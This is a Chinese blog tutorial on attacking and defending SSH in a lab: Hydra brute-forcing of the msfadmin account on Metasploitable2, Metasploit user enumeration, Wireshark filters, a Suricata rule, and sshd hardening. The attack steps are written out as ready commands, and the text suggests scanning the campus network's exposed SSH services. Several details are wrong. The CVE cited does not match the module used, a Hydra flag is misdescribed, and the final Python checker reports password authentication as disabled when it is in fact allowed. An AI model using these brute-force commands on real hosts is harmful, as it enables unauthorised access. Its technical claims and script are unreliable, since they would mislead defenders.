第3章 第18.5天
SSH协议攻防实战:加密外壳的攻防博弈
大家好,今天我们从安全工程师视角拆解SSH协议的攻防技术。不同于之前的Telnet实战,这次我们面对的是加密通道的挑战。通过实验室的真实攻防演练,我会展示如何在SSH加密环境下进行弱口令爆破,以及如何构建更高级的防御体系。(´-ω-`)
一、实验环境搭建:加密攻防沙箱
核心设备配置:
- 攻击机:Kali Linux 2023(IP:192.168.146.4)
- 靶机:Metasploitable2(IP:192.168.146.3)
- 预置漏洞:默认账号
msfadmin
(密码相同) - SSH版本:OpenSSH 4.7p1(存在已知漏洞)
网络验证与准备:
# 确认SSH服务状态
nc -zv 192.168.146.3 22
# 输出:Connection to 192.168.146.3 22 port [tcp/ssh] succeeded!
# 创建针对性字典
echo "msfadmin" > user.txt
echo "lab2023" >> user.txt
echo "admin" >> user.txt
echo "msfadmin" > pass.txt
echo "admin123" >> pass.txt
echo "P@ssw0rd" >> pass.txt
二、攻击原理:加密通道下的弱口令爆破
与传统Telnet的区别:
- 所有流量加密(无法直接查看密码)
- 但认证过程仍存在协议级交互
- 爆破成功标志:建立加密会话
sequenceDiagram
攻击机->>靶机: TCP握手(SYN→SYN+ACK→ACK)
攻击机->>靶机: SSH协议协商(加密算法交换)
攻击机->>靶机: 用户名尝试(加密传输)
靶机-->>攻击机: 认证结果(加密返回)
循环 字典组合
攻击机->>靶机: 新密码尝试
end
三、攻击实施:Hydra进阶技巧
爆破命令优化:
hydra -L user.txt \# 用户名字典
-P pass.txt \# 密码字典
-t 6 \# 校园WiFi下优化线程数
-f \# 命中即停
-I \# 忽略已有会话
-s 22 \# 指定端口(云服务器常改默认端口)
-vV \# 详细模式
ssh://192.168.146.3# 目标协议
校园场景特殊参数:
-o result.txt \# 保存结果(实验报告用)
-w 30 \# 校园网络延迟补偿
-b ssh \# 指定SSH协议模式
四、流量分析:解密加密攻击的特征
爆破行为识别:
- 高频连接请求:
# 过滤特征
tcp.port == 22 &&
tcp.flags.syn == 1 &&
frame.time_delta < 0.5
- 协议交互模式:
No.TimeSourceDestinationProtocol Info
10010.000001192.168.146.4192.168.146.3 SSHClient: Protocol 2.0
10021.200012192.168.146.4192.168.146.3 SSHClient: Authentication Request (username)
10031.800019192.168.146.4192.168.146.3 SSHClient: Authentication Request (password)
- 失败特征:
ssh.message_code == 51# SSH_MSG_USERAUTH_FAILURE
五、防御策略:四维防护体系
1. 认证强化(服务端)
# 禁用密码认证(只允许密钥)
sudo vim /etc/ssh/sshd_config
PasswordAuthentication no
PubkeyAuthentication yes
# 重启服务
sudo systemctl restart sshd
2. 网络访问控制
# 限制访问IP(仅允许实验室网段)
echo "sshd: 192.168.146.0/24" >> /etc/hosts.allow
echo "sshd: ALL" >> /etc/hosts.deny
3. 双因素认证
# 安装Google Authenticator
sudo apt install libpam-google-authenticator
google-authenticator# 生成绑定二维码
# 修改SSH配置
AuthenticationMethods publickey,keyboard-interactive
4. 入侵防御系统
# Suricata规则检测爆破
alert ssh any any -> any 22 (
msg:"SSH暴力破解尝试";
flow:to_server;
ssh.protocol: 2;
ssh.auth.type: password;
threshold: type threshold, track by_src, count 5, seconds 60;
sid:6001;
)
六、进阶攻击:漏洞利用实践
SSH版本漏洞利用:
# 检测目标版本漏洞
nmap -sV -p22 --script ssh2-enum-algos,sshvuln* 192.168.146.3
# 利用CVE-2016-0777(Metasploit)
msfconsole
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.146.3
run
防护方案:
# 升级OpenSSH版本
sudo apt update && sudo apt install openssh-server
# 禁用弱加密算法
sudo vim /etc/ssh/sshd_config
Ciphers aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512,hmac-sha2-256
七、密钥管理:校园场景最佳实践
- 个人密钥生成:
ssh-keygen -t ed25519 -C "学号@校园网" -f ~/.ssh/campus_key
- 团队密钥管理:
# 使用HashiCorp Vault管理实验室密钥
vault secrets enable ssh
vault write ssh/roles/lab_role key_type=otp default_user=labuser
- 临时访问凭证:
# 生成限时证书
ssh-keygen -s ca_key -I "实验课访问" -V +1d -n labuser user_key.pub
总结:SSH安全的本质
- 加密≠安全:弱认证仍是突破口
- 纵深防御:
- 认证强化(密钥+2FA)
- 访问控制(IP+版本)
- 持续监控(日志+IDS)
- 运维规范:
- 定期轮换密钥
- 最小权限原则
实验建议:
- 尝试对云服务器(如学校私有云)进行安全配置
- 编写Python脚本自动检测SSH弱密码
- 在校园网络扫描暴露的SSH服务版本
当你在凌晨通过SSH调试实验代码时,别忘了这道加密防线需要持续加固。安全不是终点,而是永无止境的旅程。(´・_・`)
# SSH安全快速检测脚本
import paramiko
def check_ssh_security(host):
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 检测密码认证
client.connect(host, username='root', password='invalid', timeout=5)
except paramiko.ssh_exception.AuthenticationException:
print(f"[+] {host}: 密码认证已禁用")
except:
print(f"[-] {host}: 允许密码认证(需加固)")
# 检测算法强度
transport = client.get_transport()
if transport:
print(f"[*] {host} 使用加密算法: {transport.get_selected_cipher()}")
# 检测实验室服务器
check_ssh_security('lab-server.edu.cn')
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19020824,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512